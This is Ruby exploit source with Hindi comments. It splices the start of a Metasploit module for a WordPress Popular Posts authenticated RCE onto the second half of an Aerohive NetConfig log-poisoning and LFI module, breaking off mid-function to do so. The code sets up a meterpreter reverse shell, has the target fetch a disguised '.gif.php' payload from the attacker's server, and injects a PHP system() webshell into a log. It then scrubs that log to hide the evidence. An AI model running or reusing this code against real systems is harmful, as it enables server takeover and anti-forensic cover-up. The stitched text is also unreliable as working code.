nate158g-m-w-n-l-p-d-a-o-e### इस मॉड्यूल के लिए Metasploit आवश्यक है: वर्तमान स्रोत: MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ इस एक्सप्लॉइट के लिए Metasploit के पास एक FQDN होना चाहिए और पोर्ट 80, 443, या 8080 पर पेलोड वेब सर्वर चलाने की क्षमता होनी चाहिए। FQDN को किसी आरक्षित पते (192/172/127/10) पर हल नहीं करना चाहिए। सर्वर को GET अनुरोध प्राप्त करने से पहले, पेलोड के लिए HEAD अनुरोध का भी जवाब देना होगा। यह एक्सप्लॉइट Wordpress प्लगइन Popular Posts <= 5.3.2 में एक प्रमाणित अनुचित इनपुट सत्यापन का लाभ उठाता है। एक्सप्लॉइट श्रृंखला काफी जटिल है। प्रमाणीकरण आवश्यक है और सर्वर पर PHP के लिए 'gd' आवश्यक है। फिर Popular Post प्लगइन को विजेट में पोस्ट इमेज के लिए एक मनमाना URL की अनुमति देने के लिए पुन: कॉन्फ़िगर किया जाता है। एक पोस्ट बनाई जाती है, फिर पोस्ट को पिछले #1 से 5 अधिक लोकप्रिय बनाने के लिए अनुरोध भेजे जाते हैं। एक बार पोस्ट शीर्ष 5 में पहुंच जाती है, और 60 सेकंड (हम 90 प्रतीक्षा करते हैं) सर्वर कैश रीफ्रेश के बाद, होमपेज विजेट लोड होता है जो प्लगइन को हमारे सर्वर से पेलोड डाउनलोड करने के लिए ट्रिगर करता है। हमारे पेलोड में 'GIF' हेडर है, और एक डबल एक्सटेंशन ('.gif.php') है जो मनमाना PHP कोड निष्पादित करने की अनुमति देता है। }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 मिनट, साइट पर अन्य आगंतुक ट्रिगर कर सकते हैं }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'खाते का उपयोगकर्ता नाम', 'admin']), OptString.new('PASSWORD', [true, 'खाते का पासवर्ड', 'admin']), OptString.new('TARGETURI', [true, 'Wordpress सर्वर का आधार पथ', '/']), # OptString.new('SRVHOSTNAME', [true, 'metasploit सर्वर का FQDN। किसी आरक्षित पते (192/10/127/172) पर हल नहीं होना चाहिए', '']), # OptEnum.new('SRVPORT', [true, 'सुनने के लिए स्थानीय पोर्ट।', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress का पता नहीं चला।') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts एक कमजोर संस्करण नहीं है') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # यदि सर्वर द्वारा फ़ाइल लिखने में समय विलंब हो तो इसे 5 बार लूप करें (1..5).each do |i| print_status("शेल ट्रिगर कर रहा है: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} 10 सेकंड में। प्रयास #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('पेलोड खोजने में विफल, हो सकता है सही ढंग से अपलोड न हुआ हो।') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('प्रारंभिक HEAD अनुरोध का जवाब दे रहा है (चेक 1 पास)') # के अनुसार हमारे पास एक मान्य Content-Length होना चाहिए # हालांकि यह गतिशील रूप से गणना की जाती है, क्योंकि इस प्रतिक्रिया पर इसे 0 पर अधिलेखित कर दिया जाता है। यहां नोट्स के रूप में छोड़ रहे हैं। # सही आकार बनाने के लिए बॉडी में सही पेलोड भेजना नहीं चाहता था क्योंकि इससे पकड़े जाने की संभावना अधिक होती है return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('GET अनुरोध का जवाब दे रहा है (चेक 2 पास)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # किसी अजीब कारण से हमें PHP/WP को अपने कार्यों को पूरा करने के लिए मैन्युअल रूप से कनेक्शन बंद करना होगा Rex.sleep(2) # WP के लिए सभी आवश्यक जांच पूरी करने की प्रतीक्षा करें trigger_payload(on_disk_payload_name) end print_status("अप्रत्याशित #{request.method} अनुरोध प्राप्त हुआ") end def check_gd_installed(cookie) vprint_status('जाँच रहा है कि gd स्थापित है या नहीं') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('wpp_admin टोकन प्राप्त कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('नई पोस्ट बना रहा है') # पोस्ट आईडी और नॉन्स प्राप्त करें res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('ajax nonce फ़ील्ड गायब है, पुनः सक्षम करने का प्रयास कर रहा है। यदि यह विफल होता है, तो आपको इसे सक्षम करने के लिए इंटरफ़ेस बदलने की आवश्यकता हो सकती है। देखें . या जांचें (पोस्ट लिखते समय) विकल्प > प्राथमिकताएं > पैनल > अतिरिक्त > कस्टम फ़ील्ड।') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]?)"/)&.flatten&.first unless version return CheckCode::Detected('Aerohive NetConfig संस्करण निर्धारित नहीं कर सका।') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("लक्ष्य Aerohive NetConfig संस्करण #{version} है") else print_warning('यह ध्यान दिया जाना चाहिए कि यह स्पष्ट नहीं है कि यह समस्या कब/यदि पैच की गई थी, इसलिए 10.0r8a के बाद के संस्करण अभी भी कमजोर हो सकते हैं।') return CheckCode::Safe("लक्ष्य Aerohive NetConfig संस्करण #{version} है") end rescue StandardError => e return CheckCode::Unknown("मान्य Aerohive NetConfig संस्करण प्राप्त करने में विफल: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # /tmp/messages को जहर दें print_status('/tmp/messages पर लॉग को जहर देने का प्रयास कर रहा है...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, '/tmp/messages पर लॉग को जहर देने का प्रयास करते समय कनेक्शन विफल') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, '/tmp/messages पर लॉक को जहर देने का प्रयास करते समय अप्रत्याशित प्रतिक्रिया प्राप्त हुई') end print_status('सर्वर ने अपेक्षित रूप से प्रतिक्रिया दी। जारी है...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('/tmp/messages पर लॉग फ़ाइल को साफ करने का प्रयास कर रहा है...') print_warning('कृपया ध्यान दें कि इससे लक्ष्य (अस्थायी रूप से) अशोषणीय हो जाएगा। यह स्थिति एक घंटे से अधिक समय तक रह सकती है।') begin # हमें /tmp/messages से PHP सिस्टम कॉल वाली पंक्ति को हटाने की आवश्यकता है # PHP syscall में विशेष वर्ण PHP syscall को एक नियमित उपयोगकर्ता नाम से बदलने के लिए sed का उपयोग करना लगभग असंभव बना देते हैं। # इसके बजाय, आइए सही पंक्ति सुनिश्चित करने के लिए कुछ grep कमांड को स्ट्रिंग करके विशेष वर्णों से बचें और फिर उस पूरी पंक्ति को हटा दें # तुरंत फ़ाइल को संपादित करने के लिए sed का उपयोग करने और एक नई फ़ाइल बनाने और उसके साथ /tmp/messages को अधिलेखित करने के लिए grep का उपयोग करने का प्रभाव समान है: # दोनों मामलों में, ऐप /tmp/messages पर लिखना बंद कर देगा (एक घंटे से अधिक हो सकता है), जिससे उस अवधि के दौरान लक्ष्य अशोषणीय हो जाएगा। line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # सफाई की प्रतीक्षा करें Rex.sleep 5 # /tmp/messages में PHP सिस्टम कॉल की जांच करें messages_contents = session.fs.file.open('/tmp/messages').read.to_s # यहां =~ का उपयोग करने से अप्रत्याशित परिणाम मिले, इसलिए इसके बजाय include? का उपयोग किया गया है unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # /tmp/messages में PHP सिस्टम कॉल की जांच करें poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # यहां =~ का उपयोग करने से अप्रत्याशित परिणाम मिले, इसलिए इसके बजाय include? का उपयोग किया गया है unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("सफाई के दौरान त्रुटि: #{e.message}") ensure super end unless log_cleaned print_warning("/tmp/messages में PHP सिस्टम कॉल '#{@poison_cmd}' को बदलने में असमर्थ") end end if log_cleaned print_good('/tmp/messages से PHP syscall वाली पंक्ति को हटाकर लॉग को सफलतापूर्वक साफ किया गया।') else print_warning("लॉग पॉइज़निंग साक्ष्य को मिटाने के लिए /tmp/messages में उस पंक्ति को मैन्युअल रूप से संपादित/हटाने की आवश्यकता होगी जिसमें जहर कमांड है:\n\t#{@poison_cmd}") print_warning('कृपया ध्यान दें कि /tmp/messages में कोई भी संशोधन, sed के माध्यम से भी, लक्ष्य को (अस्थायी रूप से) अशोषणीय बना देगा। यह स्थिति एक घंटे से अधिक समय तक रह सकती है।') print_warning('/tmp/messages को हटाने या फ़ाइल को साफ करने से एप्लिकेशन टूट सकता है।') end end def execute_command(cmd, _opts = {}) print_status('पेलोड निष्पादित करने का प्रयास कर रहा है') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # पथ छोटा करने के माध्यम से LFI ट्रिगर करें @shell_cmd_name => cmd } }, 0) print_warning('सफल शोषण की स्थिति में, Aerohive NetConfig वेब एप्लिकेशन तब तक हैंग रहेगा जब तक स्पॉन किया गया शेल खुला रहता है।') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('पेलोड निष्पादित कर रहा है') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend